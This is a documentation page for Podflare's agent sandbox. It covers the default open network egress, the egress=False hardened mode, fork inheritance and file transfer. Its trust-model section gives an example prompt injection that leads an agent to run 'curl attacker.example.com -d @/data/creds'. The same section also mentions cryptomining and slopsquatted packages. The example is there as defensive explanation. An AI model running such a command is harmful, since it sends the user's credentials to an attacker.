Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.podflare.ai/llms.txt

Use this file to discover all available pages before exploring further.

Default: open egress — no flag needed. Every Sandbox() boots with an eth0 interface, a DHCP-leased IP, and outbound NAT to the host’s public IP. pip install, npm install, git clone, external API calls — all work the moment the sandbox is up.Opt out with egress=False only when you’re running LLM-authored code you don’t want reaching the internet (untrusted payloads, regulated workloads, exfiltration-sensitive contexts).

Open by default

from podflare import Sandbox

with Sandbox() as sb:                    # egress is on; no flag needed
    sb.run_code("pip install scikit-learn pandas requests", language="bash")
    sb.run_code("""
        import requests
        print(requests.get('https://api.github.com').status_code)
    """)
No configuration, no allowlist, no proxy. Standard outbound TCP/UDP on standard ports. Outbound IP seen by external services is the host’s public IP — each sandbox NATs through the host’s default interface.

Verify egress in one line

The fastest reliable check is Cloudflare’s trace endpoint. It returns ~200 bytes of plaintext globally in 20–35 ms, never rate-limits, and is up basically forever. Use it instead of example.com (slow, IANA-throttled), httpbin.org (per-IP rate limits), or api.github.com (DNS-cold first call):
with Sandbox() as sb:
    out = sb.run_code(
        "curl -sS https://cloudflare.com/cdn-cgi/trace",
        language="bash",
    )
    print(out.stdout)
    # fl=...
    # h=cloudflare.com
    # ip=<sandbox egress IP, the host's public IP>
    # ts=...
    # colo=SJC                ← which Cloudflare PoP answered
    # ...
That’s also the target our internal benchmarks use for HTTP-outbound latency — typical p50 from a Podflare sandbox is 15–30 ms.

egress=False — hardened sandbox

When the code inside the sandbox might try to exfiltrate data, mine crypto, or do a supply-chain attack, block the internet at the tap device:
from podflare import Sandbox

with Sandbox(egress=False) as sb:
    # eth0 is up inside the guest but every outbound packet dies
    # at the host. pip, git, curl all time out.
    sb.run_code(
        "curl -sS -m 5 https://cloudflare.com/cdn-cgi/trace || echo blocked"
    )
    # → blocked    (curl returns exit 28, our `||` kicks in)
TypeScript — same flag, same behavior:
import { Sandbox } from "podflare";

const sb = await Sandbox.create({ egress: false });
await sb.runCode(
  "curl -sS -m 5 https://cloudflare.com/cdn-cgi/trace || echo blocked"
);
await sb.close();

What happens under the hood

With egress=True (default):
  1. hostd creates the per-VM tap device
  2. Attaches the tap to the shared bridge pfbr0
  3. Inside the VM, eth0 gets a DHCP lease from the host
  4. Outbound traffic NATs out via the host’s default interface
With egress=False:
  1. hostd creates the per-VM tap device
  2. Skips the bridge attach — tap is up but has no L2 peer
  3. Inside the VM, eth0 still comes up with its snapshot-captured DHCP lease (valid for the rest of the 10 min lease window)
  4. Outbound traffic hits the tap, goes nowhere, times out
The guest isn’t lied to — ip addr shows eth0 with an IP. But nothing routes. Packets silently drop at the host.

Fork inherits the flag

Children inherit the parent’s egress setting. A fork from an egress-off parent has no network either:
with Sandbox(egress=False) as parent:
    children = parent.fork(n=3)
    for c in children:
        out = c.run_code(
            "curl -sS -m 2 https://cloudflare.com/cdn-cgi/trace 2>&1 | head -1"
        )
        print(out.stdout)  # all three: connection timeout
        c.close()

Trust model

Open egress is the default because the vast majority of real agent workloads need pip install, git clone, or external API calls to be useful. With open egress, the threat model is:
  1. Agent-authored code can reach the internet. Prompt injection that asks the agent to curl attacker.example.com -d @/data/creds will actually work.
  2. Cryptomining is possible if the agent decides to mine.
  3. Slopsquatted packages execute. pip install hallucinated-pkg runs setup.py from whatever the attacker published.
Podflare’s security boundary is the microVM, not the Linux capabilities inside the guest. The VM can’t escape to the host, can’t see other tenants, can’t see your production. But inside the sandbox, agent code has root and full network access unless you opt out. If any of (1)–(3) matters for your workload — because the payload might be adversarial, or because you’ve got regulatory constraints around exfiltration — use egress=False. The flag flips instantly at create time; no enterprise sales call needed.

File transfer

upload() and download() go over the sandbox’s control channel, not over eth0. They work regardless of the egress setting — useful for pushing data in and pulling artifacts out of an egress-off sandbox:
with Sandbox(egress=False) as sb:
    sb.upload(open("/local/model.bin", "rb").read(), "/tmp/model.bin")
    sb.run_code("""
        with open('/tmp/model.bin', 'rb') as f:
            size = len(f.read())
        print(f'got {size} bytes')
    """)
    result = sb.download("/tmp/output.json")

When you want even more egress control

For regulated customers who need allowlisted outbound (e.g. only api.openai.com and pypi.org, reject everything else), with credential injection so the sandbox never sees real API keys — this lands as an Enterprise feature. Contact sales@podflare.ai.

Today’s summary

  • Sandbox() → full outbound network. The default. What you want for agent workflows that need to install packages or call APIs.
  • Sandbox(egress=False) → no outbound. eth0 exists but packets die at the host. For untrusted payloads.
  • Sandbox.fork() → children inherit the parent’s egress.
  • upload() / download() → work regardless of egress.